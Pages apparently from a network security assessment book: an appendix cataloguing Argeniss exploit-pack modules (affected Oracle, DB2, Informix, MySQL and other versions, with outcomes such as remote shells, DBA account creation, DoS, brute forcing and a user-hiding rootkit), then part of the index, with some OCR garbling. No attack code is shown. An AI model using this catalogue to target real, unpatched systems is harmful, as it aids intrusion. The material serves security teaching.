Description: [Argeniss] Oracle ftp in port 2100 DoS 2
Versions affected: Oracle 9iR2
Platform: All
Details: Denial of Service vulnerability, exploit causes Oracle service to stop responding.

Name: oracleinject_using_java
Description: [Argeniss] ORACLE sql inject using java
Versions affected: Oracle 10gR1
Platform: All
Details: SQL Injection vulnerability, exploit lets you to upload a file, to run any OS command and to get a remote shell.

Name: oracleinject_using_java1
Description: [Argeniss] ORACLE sql inject using java
Versions affected: Oracle 9iR2 & 10gR1
Platform: All
Details: SQL Injection vulnerability, exploit lets you to upload a file, to run any OS command and to get a remote shell.

Name: oracleinject_using_java2
Description: [Argeniss] ORACLE sql inject using java
Versions affected: Oracle 9iR2
Platform: All
Details: SQL Injection vulnerability, exploit lets you to upload a file, to run any OS command and to get a remote shell.

Name: oracleisqlplusDoS
Description: [Argeniss] Oracle isqlplus DoS
Versions affected: Oracle 10gR1
Platform: All
Details: Denial of Service vulnerability, exploit causes Oracle service to stop responding.

Name: oracletnsDos
Description: [Argeniss] Oracle tns DoS
Versions affected: Oracle 9iR1
Platform: All
Details: Denial of Service vulnerability, exploit causes Oracle service to consume 100% CPU resources.

Name: oracletnsDos_10r1
Description: [Argeniss] Oracle tns DoS 10g r1
Versions affected: Oracle 10gR1
Platform: All
Details: Denial of Service vulnerability, exploit causes Oracle service to consume 100% CPU resources.

Name: oracleinjection_sql
Description: [Argeniss] ORACLE sql inject
Versions affected: Oracle 10gR1
Platform: All
Details: SQL Injection vulnerability, exploit lets you to create a Oracle user and assign dba privileges.

Name: oracleinjection_sql1
Description: [Argeniss] ORACLE sql inject
Versions affected: Oracle 9iR2 & Oracle 10gR1
Platform: All
Details: SQL Injection vulnerability, exploit lets you to create a Oracle user and assign dba privileges.

Name: oracleinjection_sql2
Description: [Argeniss] ORACLE sql inject
Versions affected: Oracle 9iR2
Platform: All
Details: SQL Injection vulnerability, exploit lets you to create a Oracle user and assign dba privileges.

Name: oracleinjection_sql3
Description: [Argeniss] ORACLE sql inject
Versions affected: Oracle 9iR2, 10gR1, 10gR2
Platform: All
Details: SQL Injection vulnerability, exploit lets you to create a Oracle user and assign dba privileges.

Name: veritas_bpspspserver
Description: [Argeniss] Symantec VERITAS NetBackup vnemd buffer overflow
Versions affected: 6.0 MP0 and MP1
Platform: Windows 2k (DoS on Windows 2k3)
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: websphere5
Description: [Argeniss] Websphere 5.0 Overflow
Versions affected: 5.0
Platform: Windows 2k
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: oracleinjection_using_java3
Description: [Argeniss] ORACLE sql inject using java
Versions affected: Oracle 9iR2, 10gR1, 10gR2
Platform: All
Details: SQL Injection vulnerability, exploit lets you to upload a file, to run any OS command and to get a remote shell.

Name: oraclient
Description: [Argeniss] ORACLE Client for Canvas
Platform: All
Details: Tool to run arbitrary queries on Oracle Databases
Name: mysqlDoS
Description: [Argeniss] MYSQL DoS
Versions affected: 5.1.5,5.0.(0-0,1,2,3,4,18),4.1.(4,5,7,13,15,16),4.0.18
Platform: All
Details: Denial of Service vulnerability, exploit causes MySQL service to crash.

Name: db2_mgrlvl1s
Description: [Argeniss] IBM DB2 8.2 pre-auth DoS: DRDA request malformation
Versions affected: DB2 8.2 prior FixPack 5, DB2 8.1 prior FixPack 12
Platform: All
Details: Denial of Service vulnerability, exploit causes DB2 service to crash.

Name: oracleinject_using_java4
Description: [0day][Argeniss] ORACLE sql inject using java
Versions affected: Oracle 10gR1
Platform: All
Details: SQL Injection vulnerability, exploit lets you to upload a file, to run any OS command and to get a remote shell.

Name: oracleinject_sql4
Description: [0day][Argeniss] ORACLE sql inject
Versions affected: Oracle 10gR1
Platform: All
Details: SQL Injection vulnerability, exploit lets you to create a Oracle user and assign dba privileges.

Name: oracleinject_using_java5
Description: [0day][Argeniss] ORACLE sql using java
Versions affected: Oracle 10gR2
Platform: All
Details: SQL Injection vulnerability, exploit lets you to upload a file, to run any OS command and to get a remote shell.

Name: oracleinject_sql5
Description: [0day][Argeniss] ORACLE sql inject
Versions affected: Oracle 10gR2
Platform: All
Details: SQL Injection vulnerability, exploit lets you to create a Oracle user and assign dba privileges.

Name: db2_modb
Description: [Argeniss] IBM DB2 8.1/8.2 Post-Auth DoS
Versions affected: DB2 8.1 & 8.2 <= 8.1FP12/8.2FP8
Platform: All
Details: Denial of Service vulnerability, exploit causes DB2 service to crash.

Name: db2_getdb
Description: [Argeniss] IBM DB2 GET DB
Versions affected: DB2 8.1 & 8.2
Platform: All
Details: Enumerates DB2 database names

Name: db2_getpasswd
Description: [Argeniss] IBM DB2 PASSWORD BRUTE FORCE
Versions affected: DB2 8.1 & 8.2
Platform: All
Details: Brute force DB2 user passwords

Name: ids_long_usr
Description: [Argeniss] Informix Dynamic Server long user Stack Overflow, pre-auth
Versions affected: before 9.40.TC7 and 10.00 before 10.00.TC3
Platform: Windows and Linux
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: oas_exploit
Description: [0day][Argeniss] Oracle Application Server Portal SQL Injection
Versions affected: Oracle Application Server 10g r2
Platform: All
Details: SQL Injection vulnerability, exploit lets you to upload a file, to run any OS command and to get a remote shell.

Name: ids_bruteforce
Description: [Argeniss] Informix Dynamic Server Account Brute forcer
Versions affected: ALL
Platform: All
Details: Brute force Informix Dynamic Server users and passwords

Name: db2_bruteforce
Description: [Argeniss] IBM DB2 BRUTE FORCE
Versions affected: DB2 UDB 8.1 and 8.2
Platform: All
Details: Brute force DB2 users and passwords

Name: ora_bruteforce
Description: [Argeniss] Oracle Database Account Brute forcer
Versions affected: All
Platform: All
Details: Brute force Oracle users and passwords

Name: ora_getdb
Description: [Argeniss] ORACLE GET DB BRUTE FORCE
Versions affected: All
Platform: All
Details: Enumerates Oracle database names

Name: ids_dos1
Description: [0day] [Argeniss] Informix Dynamic Server DoS (NULL-Reference)
Versions affected: ALL
Platform: ALL
Details: Denial of Service vulnerability, exploit causes Informix service to crash.

Name: ids_dos2
Description: [0day] [Argeniss] Informix Dynamic Server DoS (NULL-Reference) #2
Versions affected: ALL
Platform: ALL
Details: Denial of Service vulnerability, exploit causes Informix service to crash.
Name: DB2Dos
Description: [0day] [Argeniss] DB2 Administration Server DoS (pre-auth)
Versions affected: 8.1 & 8.2
Platform: ALL
Details: Denial of Service vulnerability, exploit causes DB2 Administration Server to crash.

Name: db2sql.DB2RA_as_con
Description: [0day] [Argeniss] IBM DB2 DoS (pre-auth)
Versions affected: 8.1 & 8.2
Platform: ALL
Details: Denial of Service vulnerability, exploit causes DB2 service to crash.

Name: DB2DoSrecvrequest
Description: [Argenissi] IBM DB2 DoS 2 (pre-auth)
Versions affected: 8.1 & 8.2 < FixPack 14
Platform: ALL
Details: Denial of Service vulnerability, exploit causes DB2 service to crash.

Name: oracle_user_rootkit
Description: [Argeniss] Oracle User Rootkit
Versions affected: All
Platform: ALL
Details: Tool for installing an Oracle rootkit to hide a user.

Name: db2_sqljra_dos
Description: [0day] [Argenissi] IBM DB2 DoS 3 (pre-auth)
Versions affected: 8.1 & 8.2
Platform: ALL
Details: Denial of Service vulnerability, exploit causes DB2 service to crash.

Name: sybasegetversion
Description: [Argeniss] Sybase ASE Get Version
Versions affected: ALL
Platform: All
Details: Get version of Sybase Adaptive Selatrver Enterprise

Name: ASE brute force
Description: [Argeniss] Sybase ASE Brute force
Versions affected: All
Platform: All
Details: Brute force Sybase Adaptive Server Enterprise users and passwords

Name: mysql_nullreference
Description: [Argeniss] MySQL $ Single Row Subselect Denial of Service
Versions affected: MySQL < 5.0.36
Platform: All
Details: Denial of Service vulnerability, exploit causes MySQL service to crash.

Name: mysql_getversion
Description: [Argeniss] MySQL Version extractor
Versions affected: ALL
Platform: All
Details: Get version of MySQL
Name: mysql_bruteforce
Description: [Argeniss] MySQL >= 4.x Account Brute forcer
Versions affected: MySQL >= 4.x
Platform: All
Details: Brute force MySQL users and passwords

Name: apache_modjk
Description: [Argeniss] Apache Tomcat mod_jk URL buffer overflow
Versions affected: mod_jk 1.2.19 and 1.2.20, which are included in Tomcat 5.5.20 and 4.1.34
Platform: Linux
Details: Buffer overflow vulnerability, exploit gives you a remote shell.

Name: mssql_getversion
Description: [Argeniss] MSSQL Version extractor
Versions affected: ALL
Platform: All
Details: Get version of MS SQL Server

Name: mssql_bruteforce
Description: [Argeniss] MSSQL Account Brute forcer
Versions affected: All
Platform: All
Details: Brute force MS SQL Server users and passwords

Name: oradospostauth
Description: [0day][Argeniss] Oracle Denial of Service (post-auth)
Versions affected: 9iR2, 10gR1
Platform: All
Details: Denial of Service vulnerability, exploit causes Oracle service to crash.

Name: oraclefingerprints
Description: [Argeniss] Oracle Fingerprints Tool
Versions affected: All
Platform: All
Details: Get several information (SID, version, OS, users, etc.) in pre-auth and post-auth way from Oracle database servers

Name: msexchg000
Description: [Argeniss] MS Exchange 2000 Denial Of Service (MS07-026)
Versions affected: Exchange 2000
Platform: Windows
Details: Denial of Service vulnerability, exploit causes Exchange service to crash.

Name: Ebusiness_dos
Description: [Argeniss] Oracle E-Business Suite 11i Denial of Service
Versions affected: E-Business Suite 11i < 07 April CPU
Platform: All
Details: Denial of Service vulnerability, exploit deletes Ebusiness documents.

Name: Ebusiness_gather
Description: [Argeniss] Oracle E-Business Suite 11i Information Gather tool
Versions affected: E-Business Suite 11i
Platform: All
Details: Get several information (SID, database version, schema, internal db host name, etc.) in pre-auth way

Name: Ebusiness_Suite_file_download
Description: [Argeniss] Oracle E-Business Suite 11i Document Download
Versions affected: E-Business Suite 11i (from 11.5.0 to 11.5.10.2) < 07 April CPU
Platform: All
Details: This exploit download E-Business documents without authentication

Name: Ebusiness_Suite_sql_inject
Description: "[Argeniss] Oracle E-Business Suite 11i SQL Injection"
Versions affected: E-Business Suite 11i < 07 April CPU
Platform: All
Details: This exploit lets you execute any PLSQL statement without authentication
A
A (Address) resource records, 30, 41
AAC (Advanced Access Control), 232
Abendschan, James W., 247
Access Control List (ACL), 71, 378
Account Information Security (AIS), xviii
ACK flag probe scanning, 49, 54–56
ACL (Access Control List), 71, 378
Active Directory (AD)
  DNS services, 82
    NetBIOS name service, 273
    SMB null sessions, 270
    (see also GC service)
Active Server Pages (see ASP)
AD (see Active Directory)
ADM
  ADMrsh tool, 223
  ADMsnmp tool, 91, 92
  ADMspool tool, 223
  web site, 223
ADMsnmp share, 282, 284
Administrator account
  common password combination, 281
  countermeasures, 288, 289
Administrators group, 270, 284
ADMsnmp tool, 91
Adobe ColdFusion, 167, 168
Advanced Access Control (AAC), 232
AES algorithm, 315
AfrNIC (African Network Information Centre), 24
aggressive mode (IKE)
  countermeasures, 329

We’d like to hear your suggestions for improving our indexes. Send email to index@oreilly.com.
| Argeniss ultimate 0day exploits pack | LDAP bypass, 191 |
| - (continued) | listener enumeration and, 245 |
| - Immunity CANVAS support, 410 | Nessus support, 377 |
| - Microsoft Exchange issues, 300 | NetBIOS session service, 281 |
| - Microsoft SQL Server, 243 | Oracle issues, 249–251 |
| - MySQL, 254 | OWA and, 127 |
| - SMTP vulnerabilities, 299 | PPTP support, 320 |
| - TNS listener service, 248 | RSA signature, 314, 315 |
| - web site, 15 | SMTP support, 293 |
| - Arhont NTP fingerprinting tool, 89 | SQL injection and, 189, 190 |
| - ARIN (American Registry for Internet Numbers), 24, 25–26 | SSH and, 214 |
| - Arkin, Ofir, 48 | VNC and, 234 |
| - ARP redirect spoofing, 58 | web application vulnerabilities, 180–184 |
| - arpspoof tool, 12 | X Windows, 224 |
| - AS (Autonomous System) numbers, 28, 29 | Authentication Header (AH), 308, 329 |
| - ASCII-to-decimal table, 178 | AUTHINFO command, 299 |
| - ASCII-to-hex table, 176, 178 | Authorization: field, 172 |
| - Asia Pacific Network Information Centre (APNIC), 24, 28 | Autonomous System (AS) numbers, 28, 29 |
| - ASMX extension, 167, 175 | B |
| - ASP (Active Server Pages) | backend databases |
| - file extension, 167 | countermeasures, 197 |
| - ISAPI extensions, 123 | technology assessments, 169 |
| - vulnerabilities, 141 | vulnerabilities, 188 |
| - web server support, 121, 122 | backoff patterns, 312–315 |
| - ASP extension, 167 | Basic authentication, 118, 143 |
| - ASP.NET framework | Bay Networks, 216, 219 |
| - file extensions, 167 | BCOPY extension, 124 |
| - ISAPI extensions, 123 | BDAT command, 299 |
| - session ID variable, 168 | BDELETE extension, 124 |
| - vulnerabilities, 141 | BEA WebLogic, 168 |
| - web server support, 121, 122 | BeEF application, 196 |
| - ASP.NET_SessionId variable, 168 | Berkeley Internet Name Domain (BIND) service, 81–82 |
| - ASPSESSIONID variable, 168 | bf_ldap tool, 96 |
| - ASPX extension, 167 | BGP querying |
| - auth service, 88 | newsgroups, 19 |
| - auth_ldap plug-in, 149 | open sources, 17 |
| - auth_ldap_log_reason() function, 149 | reconnaissance techniques, 28, 29, 40 |
| - AUTH_SYS mode (sadmind), 336 | BiDiBLAH tool, 13, 37, 378 |
| - AUTHENTICATE command, 304 | big-endian byte ordering, 336, 375 |
| - authentication | BIND (Berkeley Internet Name Domain) service, 81–82 |
| - brute-forcing, 157 | BlackWidow tool, 37 |
| - CIFS service, 282 | blindcrawl.pl tool, 86 |
| - cookie and, 173 | Block Started by Symbol (BSS) segment, 343, 344, 345, 373 |
| - countermeasures, 238 | BMOVE extension, 124 |
| - FrontPage vulnerabilities, 143 | BPROFFIND extension, 124 |
| - HTTP mechanisms, 118 | BPROPPATCH extension, 124 |
| - IIS support, 128 | broadcast addresses, 46 |
 brute-force grinding attacks
 CIFS service, 286
 countermeasures, 237, 289, 305
 DNS zone transfers and, 35
 forward DNS grinding and, 36, 85
 FTP services, 204
 HTTP authentication, 157
 IMAP services, 304
 LDAP service and, 96
 Microsoft SQL Server and, 242
 MySQL and, 252
 NetBIOS session service, 281, 286
 Oracle issues, 249–251
 POP3 vulnerabilities, 302
 PPTP vulnerabilities, 321
 RDP and, 233
 remote maintenance services and, 198
 RPC services, 270
 session ID, 184, 196
 SMTP, 293, 294
 SNMP service and, 91
 SSH and, 214
 SSL vulnerabilities, 328
 Telnet and, 218–219
 VNC and, 235, 236
 web application vulnerabilities, 181
 web servers and, 119
 Brutus tool
 BAD (Brutus Application Definition), 297
 FTP attacks, 204
 HTTP authentication and, 157
 IMAP services, 304
 OWA attacks, 127
 POP3 and, 302
 Sendmail attacks, 297
 BSD platform
 Apache chunk-handling exploit, 147
 fingerd service, 87
 FTP service banners, 201
 FTP vulnerabilities, 209
 memcpy() function, 366
 SMB-AT support, 285
 Telnet support, 216
 BSS (Block Started by Symbol) segment, 343, 344, 345, 373
 buffer overflow
 Apache web server vulnerabilities, 150
 auth service vulnerabilities, 89
 BIND vulnerabilities, 81
 fingerd package vulnerabilities, 88
countermeasures, 158
defined, 342
 FTP services and, 205
 heap overflows, 356–363
 integer overflows, 364–367
 IPsec vulnerabilities, 316
 NTP vulnerabilities, 90
 remote maintenance services and, 198
 stack overflows, 346–356
 web server vulnerabilities, 102, 126
 Burp suite, 16

C
 cable-dcosis community string, 93
cache corruption, 81, 275
CacheFlow appliances, 111
Cain & Abel tool, 275, 284, 320
Calendar Manager Service Daemon (CMSD), 337
call_trans2open() function, 288
canary values, 375
Canonical Name (CNAME) resource records, 30
Caucho Resin, 168, 169
ccTLD registrars, 20
CEH (Certified Ethical Hacker), xix
Cenzic Hailstorm, 16
CERT web site
 FTP bounce scanning, 205
 Microsoft Exchange issues, 303
vulnerability notes, 6, 110
Certified Ethical Hacker (CEH), xix
CESG (Communications and Electronics Security Group), xvii, 276
CESG Listed Adviser Scheme (CLAS), xvii
CFID variable, 168
cfingerd package, 88
CFM extension, 167
CFML extension, 167
CFTOKEN variable, 168
CGI scripts, 146, 167
chaining, 401
channel_lookup() function, 215
Check Point Firewall-1
 circumventing filters, 70, 206, 207
countermeasures, 78
fastmode services and, 78
reverse DNS querying, 84
Check Point SSL VPN server, 322
Check Point SVN web services, 50
CHECK program (CESG), xvii
CHECKIN method, 117
CHECKOUT method, 117
cheops tool, 75
chunk_split() function, 137
CIDR slash notation, 46
CIFS (Common Internet File System) authentication, 282
countermeasures, 288, 289
defined, 256, 285
enumeration, 285
remote maintenance support, 199
SMB null sessions, 270
ciphers, enumerating, 324–327
cisco community string, 92
Cisco devices
bypassing filters, 70
community strings, 92
fingerd service, 86
FTP service vulnerabilities, 207
IPsec vulnerabilities, 316
NTP services, 89
SNMP vulnerabilities, 94
SSH banners, 213
Telnet support, 216, 217, 218, 219
XAUTH authentication, 308
Citrix service
accessing nonpublic applications, 230, 231
countermeasures, 238
ICA client, 229
overview, 229
vulnerabilities, 231, 232
citrix-pa-proxy script, 231
citrix-pa-scan utility, 230
Clarke, Justin, 143, 157
CLAS (CESG Listed Adviser Scheme), xvii
Clearswift MAILsweeper, 300–301, 306
CMSD (Calendar Manager Service Daemon), 337
cmsd exploit, 337, 338
CNAME (Canonical Name) resource records, 30
command injection
countermeasures, 192, 193
LDAP injection, 191–192
OS, 184–186, 192, 193
SQL injection, 186–191, 192, 250, 388
web application attack strategies, 175
Common Internet File System (see CIFS)
Communications and Electronics Security Group (CESG), xvii, 276
community strings, 92
Compaq Tru64 platform, 201
confirm_phpdoc_compiled() function, 137
CONNECT method (HTTP)
countermeasures, 159
description, 109, 116
reverse proxy mechanisms, 107, 109
vulnerabilities, 133
connect() scanning, 49–50
Connection: field, 172, 180
Conover, Matt, 140
Content-Encoding: field, 172
Content-Language: field, 172
Content-Length: field, 106, 149, 172
Content-MD5: field, 172
Content-Type: field, 172
Content-Type: field, 172, 179
Cookie: field, 173
cookies
expiration policy, 184, 196
web application attack strategies, 173
X Windows, 225
XSS attacks, 195
COPY method (HTTP), 117
CORE IMPACT framework
Apache vulnerabilities, 147, 150
architecture and features, 401–402
ASP vulnerabilities, 141
BIND exploit scripts, 82
documentation, 408
exploit modules, 428–434
FrontPage vulnerabilities, 144
FTP service vulnerabilities, 209, 211
functionality, 402–408
IIS vulnerabilities, 139
IMAP issues, 305
ISAPI vulnerabilities, 142
LDAP exploit scripts, 98
Microsoft exploit scripts, 83
Microsoft SQL Server and, 243
MySQL exploit scripts, 254
NTLM authentication, 294
OpenSSL vulnerabilities, 152
Oracle XDB services, 251
overview, 15, 400, 414
OWA vulnerabilities, 145
PHP vulnerabilities, 138
QPOP issues, 303
RPC vulnerabilities, 265–266, 332–334
r-services exploit scripts, 224
Samba vulnerabilities, 288
Sendmail exploit scripts, 298
SMTP exploit scripts, 299
SNMP exploit scripts, 95
SSH vulnerabilities, 215
SSL exploits, 328
Telnet vulnerabilities, 220
VNC exploit scripts, 237
WebDAV vulnerabilities, 142
X Windows exploit scripts, 228
CORE Security Technologies, 15
Council of Registered Ethical Security Testers (CREST), xix
Courier IMAP, 304, 305
CPU (Critical Patch Update), 251, 255
crackaddr() function, 298
CRAM-MD5 authentication mechanism, 293
createdomuser command (rpcclient), 268
CreateFile() function, 243
CREST (Council of Registered Ethical Security Testers), xix
Critical Patch Update (CPU), 251, 255
cross-site scripting (see XSS)
cross-site tracing (XST), 133
cryptographic hashing, 182
cryptography (see encryption)
Cryptologic, 1
CVE (see MITRE Corporation CVE)
CWD command, 210
Cyrus IMAP, 305

d
DarwinPorts, 13
data segment, 343, 344, 345, 373
date: field, 106
Davis, Carlton R., 307
DB2 database services, 239
DCE locator service (see endpoint mappers)
DCOM, 270, 289
deallocator algorithm, 344
debug command, 246
decoy hosts, defining, 65
default Password List (DPL), 249
defenders dilemma, 3
Defense Intelligence Agency (DIA), xiii
DELE command, 210, 303
DELETE method (HTTP)
countermeasures, 159
description, 116
vulnerabilities, 134, 136
deletedomuser command (rpcclient), 268
denial-of-service (see DoS)
DES algorithm
countermeasures, 329
FrontPage support, 144

d Session management and, 182
transform enumeration, 315
VNC support, 235
weak support, 324–327
Desktop Subprocess Control Daemon (DTSPCD), 228
DH (Diffie-Hellman) exchange, 309–310,
digital certificates, 329
Diffie-Hellman (DH) exchange, 309–310,
dig utility
DNS querying, 30
DNS zone transfers, 32
platform support, 13
UDP port scanning, 60
Digest authentication, 118
DIGEST-MD5 authentication mechanism, 293
digital certificates, 329
D-Link, 92, 219
DNS querying
against internal IP addresses, 103
countercmeasures, 41
forward, 30–31
forward DNS grinding, 35, 36, 85
reconnaissance techniques, 5, 13, 17, 40
reverse DNS sweeping, 36, 37, 84
(see also DNS zone transfers)
DNS service
BIND vulnerabilities, 81–82
counternasures, 99
DNS zone transfers and, 83
forward DNS grinding, 85
retrieving version information, 80
reverse DNS querying, 84
Windows vulnerabilities, 82–83
DNS zone transfers
counternasures, 41
remote information services and, 83
techniques, 32–35
DO extension, 167
DoS (denial-of-service)
BIND vulnerabilities, 81
IIS vulnerabilities, 140
Immunity CANVAS and, 410
IPsec vulnerabilities, 317–318
Microsoft Exchange issues, 300
Microsoft SQL Server and, 243
Nessus and, 385, 392
NetBIOS name service and, 275
DoS (denial-of-service) (continued)
  network scanning countermeasures, 78
  Nmap and, 52
  opportunistic hacking, 3
  SMTP vulnerabilities, 299
  TNS service, 249
  VPN services, 307
double-free attacks, 363
double-hex encoding, 176, 178
Dowd, Mark, 376
DPL (Default Password List), 249
Dsniff sniffer, 321
dtors section (programs), 372
DTSPCD (Desktop Subprocess Control Daemon), 228
dumb scanning, 49, 58–60, 76

E
ebp (stack frame pointer)
  runtime memory organization, 344–345
  stack overflows, 347, 350, 351, 354
EC-Council, xix
eEye Digital Security, 376
eEye Preview, 6
eEye Retina, 14
effectiveness of security management, xiii
EHLO command, 292, 293, 299
eip (instruction pointer)
  runtime memory organization, 344–345
  stack overflows, 347, 350–351, 354, 373
ELF (Executable File Format), 362
e-mail
  common ports, 290
  countermeasures, 305
  filtering, 35
  IMAP services, 303–305
  POP2/POP3 services, 302–303
  SMTP services, 290–302
  enable community string, 92
Encapsulating Security Payload (ESP), 308, 329
encoding filter evasion techniques, 176–180
encryption
  countermeasures, 329
  Nessus support, 377
  PPTP and, 320
  s_client program, 322
  SAM database passwords, 284
  session management and, 182
endpoint mappers
  countermeasures, 288
defined, 257
epdump support, 258–259
RpcScan support, 263
rptools support, 260–262
entity database, 401
enum tool, 277–278
enum_csc_policy() function, 288
enumdomgroups command (rpcclient), 268
dumpdomusers command (rpcclient), 268, 269
epdump utility, 258–259
escape characters, 185, 186, 191
ESMTP (Extended SMTP), 292, 293
ESP (Encapsulating Security Payload), 308, 329
esp (stack pointer), 344–345, 350, 351
Ethereal sniffer, 48, 74
exec service (Unix), 220
Executeable File Format (ELF), 362
exhaustion attack, negotiation slots, 317
exit() function, 355, 362
EXITFUNC variable, 399
expect script, 214
Expect: field, 172
exploit scripts
  Argeniss support, 443–451
  BIND, 82
  Citrix, 232
  CORE IMPACT, 428–434
  GLEG VulnDisco, 439–443
  IMAP services, 305
  Immunity CANVAS, 434–439
  LDAP, 98
  Microsoft DNS, 83
  Microsoft WINS, 83
  MSF, 422–428
  MySQL, 253
  PHP, 118
  RPC services, 334, 337–338
  r-services, 224
  Sendmail, 298
  SMTP, 299
  SNMP, 95
  SSH, 215
  SSL, 328
  Telnet, 220
  TNS service, 248
  VNC, 237
  X Windows, 228
exploitation frameworks
  commercial, 15
  purpose, 10, 14
(see also CORE IMPACT; Immunity CANVAS; MSF)

**Index | 459**

**EXPN command (Sendmail), 295, 297**

**EXP-RC4-MD5 cipher, 325, 327**

**Extended SMTP (ESMTP), 292, 293**

**F**

**F5 Networks, 94, 328**

**Fedora Core distribution, 12**

**Fiddler tool, 181**

**file extensions, server-side, 165**

**filesystem access, 193–194**

**filters**

- circumventing, 62–70, 77
- circumventing stateful, 70, 206, 207
- circumventing using FTP, 206–208
- command injection countermeasures, 192
- email, 35
- evasion techniques, 176–180
- RPC services countermeasures, 339
- web server countermeasures, 158

**FIN probes, 53, 54**

**FIN TCP flag, 53**

**Finger service, 86–88, 222**

**finger_mysql utility, 252**

**fingerprinting**

- accessible web servers, 102–107
- IP, 75
- IPsec service endpoints, 312–315
- NTP, 89
- OS, 48, 75
- session ID, 167–169
- SMTP services, 291, 292
- SSH services, 213
- Telnet services, 216–218

**Firewalk utility, 71, 73–74**

**Firewalls**

- circumventing filters using FTP, 206
- countermeasures, 237, 329
- email services countermeasures, 305
- filter evasion techniques, 176
- FTP service vulnerabilities, 199
- ICMP messages and, 43
- IP ID header scanning and, 59
- NAT support, 47, 73
- network scanning countermeasures, 78
- search engine attacks, 340
- source ports to bypass filtering, 70
- source routing and, 67
- vulnerabilities and, 340

**Flake, Halvar, 356**

**focused attacks, 2, 3**

**ForceSQL utility, 242**

**format string bugs**

- BIND vulnerabilities, 81
- memory manipulation and, 342, 374
- overview, 367–373
- forward DNS grinding, 35, 36, 85
- forward DNS querying, 30–31

**Foundry, 92**

**Foundstone SuperScan, 52**

**fragmented packets (see packet fragmentation)**

**fragroute package, 63**

**fragroute utility, 63**

**fragtest utility, 63**

**frame pointer overwrite, 342, 347, 352–356**

**free() function, 344, 358–362**

**FreeBSD platform**

- FTP service banners, 200
- httprint tool, 107
- MySQL support, 252
- Nessus support, 378
- ProFTPD support, 211
- Telnet support, 217

**FreeSSHd, 215**

**FrontPage (Microsoft), 125–126, 143–144**

**FrSIRT web site, 6**

**Fryxar, 62**

**F-Secure, 212, 213**

**FTP bounce scanning**

- FTP service vulnerabilities, 199
- overview, 56–57, 204–205
- TCP port scanning and, 49

**FTP services**

- assessing permissions, 201–203
- banner grabbing/enumeration, 199–201
- bounce attacks, 204–205
- circumventing stateful filters, 206–208
- classes of attack, 199
- countermeasures, 237
- FTP service vulnerabilities, 56–57
- Mac OS X support, 12
- overview, 199
- process manipulation attacks, 208–212

**G**

**GC (Global Catalog) service**

- countermeasures, 100
- DNS vulnerabilities, 82
- LDAP support, 97
- SSL support, 79
- gcc compiler, 355
GCHQ (Government Communications Headquarters), xvii

gdb tool, 350, 351, 372
Gentoo distribution, 12
GET method (HTTP)
  description, 111, 115
  HTTP request smuggling, 179
  ISAPI extensions, 123
  reverse proxy mechanisms, 107, 109
GetAcct tool, 277, 280
GFI MailSecurity for Exchange, 302
GHBA tool, 36, 37, 85
ghostview application, 224
GLEG VuDiDisco
  Argeniss 0day packs, 15, 410
  exploit modules, 439–443
  Microsoft SQL Server issues, 243
  MySQL exploit scripts, 254
  NTP vulnerabilities, 90
  SMTP exploit scripts, 300
  glob() function, 209–210
Global Catalog service (see GC service)
Global Offset Table (GOT), 362
  global variables, 343, 345, 373
  GNU General Public License (GPL), 377
  GNU Wget retriever, 162
  GNU Wget tool, 37
  GNU/CITIZEN page, 196
Goldsmith, Dave, 73
Google search engine
  BiDiBLAH tool support, 38
  search functionality, 18
  SpiderFoot tool support, 38
  web server crawling, 37
GOT (Global Offset Table), 362
Government Communications Headquarters (GCHQ), xviii
GPL (GNU General Public License), 377
Graff, Mark, 376
grep tool, 164
grinding attacks (see brute-force grinding attacks)
Grossman, Jeremiah, 133
GSSAPI authentication mechanism, 293
gTLD registrars, 20
guess-who tool, 214

H
H4G1S and the Yorkshire Posse, 330
hacking, xix, 340
half-open SYN flag scanning, 49, 50–53, 70
HEAD method (HTTP)
  Apache subsystems and, 129
  description, 102–103, 115
  PHP support, 118
heap
  defined, 344, 345
  nonexecutable implementation, 375
heap overflows
  FTP vulnerabilities, 209
  integer overflows and, 364
  overview, 356–363, 374
heap segment, 345, 373
HELO command, 296, 299
HELP command, 295, 297
hex encoding, 176, 178
Hex Workshop, 206
Hills, Roy, 311, 314
Host Information (HINFO) resource record, 30, 41
host utility
  DNS zone transfers, 32
  DSN querying, 30
  platforms supported, 12
Host: field
  description, 172
  HTTP proxy testing, 113–114
  reverse proxy mechanisms, 107–108
hosts.equiv file, 222
Howard, Michael, 376
Hping2 tool
  ACK flag probe scanning, 56
  IP ID header scanning, 59
  low-level IP assessment, 71, 72
HP-UX platform
  fingerd service, 86
  FTP service banners, 201
  r-services support, 220
HTML encoding, 178
HTML source review, 162–164
HTML tags, 195
HTR extension, 123, 142
HTTP authentication, 157
HTTP over SSL, 321
HTTP request smuggling
Apache server vulnerabilities, 146
IIS vulnerabilities, 139, 140
overview, 178
HTTP requests
identifying subsystems, 114–119
OWA support, 127
reverse proxy mechanisms, 107–113
THC Hydra support, 204
vulnerabilities, 132–136
web application attack strategies, 172–173
WebDAV methods, 116
htprint tool, 107
HTTPS web service, 127
HTTTrack tool, 37
HTW extension, 123
HTX extension, 123
hybrid mode (IKE), 308, 315

IAM (INFOSEC Assessment Methodology), xvi, xvii
IANA, 20, 28
IBM AIX platform
FTP service banners, 201
r-services support, 220
Telnet support, 217
IBM Lotus Domino
IMAP services, 305
LDAP service, 95
server-side file extension, 167
SMTP support, 291
IBM WebSphere, 167, 168, 169
ICA (Independent Computing Architecture), 229
ICANN, 20
ICMP messages
address mask request, 43, 44
echo request, 42, 43, 63
information request, 43
redirect, 44
response, 74
timestamp request, 43, 44
types listed, 418–419
ICMP ping sweeps
fragtest utility and, 63
gleaning internal IP addresses, 47
Nmap tool support, 42, 44, 46

ICMP probing
countermeasures, 78
gleaning internal IP addresses, 47, 48

ICMPScan utility, 45
identifying network addresses, 46
Nmap utility, 44
OS fingerprinting, 48
overview, 77
purpose, 42
SING utility, 43, 44
ICMPScan utility, 45, 48
IDA extension, 123, 142
IDC (Internet Database Connector), 123
IDC extension, 123
identd service, 88
idle scanning, 49, 58–60, 76
IDQ extension, 123
IDS evasion, 62–70, 77
IDSs (Intrusion Detection Systems), 51, 376
IFID values (RPC), 263–265, 267
ifids utility, 127, 260–262
IIS (Internet Information Server)
authentication support, 128
CESG CHECK assault course, xviii
countermeasures, 138, 289
FrontPage server extensions, 125
ISAPI extensions, 122, 123, 124
session ID variable, 168
SQL injection, 186
SSL exploits, 328
vulnerabilities, 138–140, 179
web application attack strategies, 175
web servers and, 120, 121
WebDAV support, 116
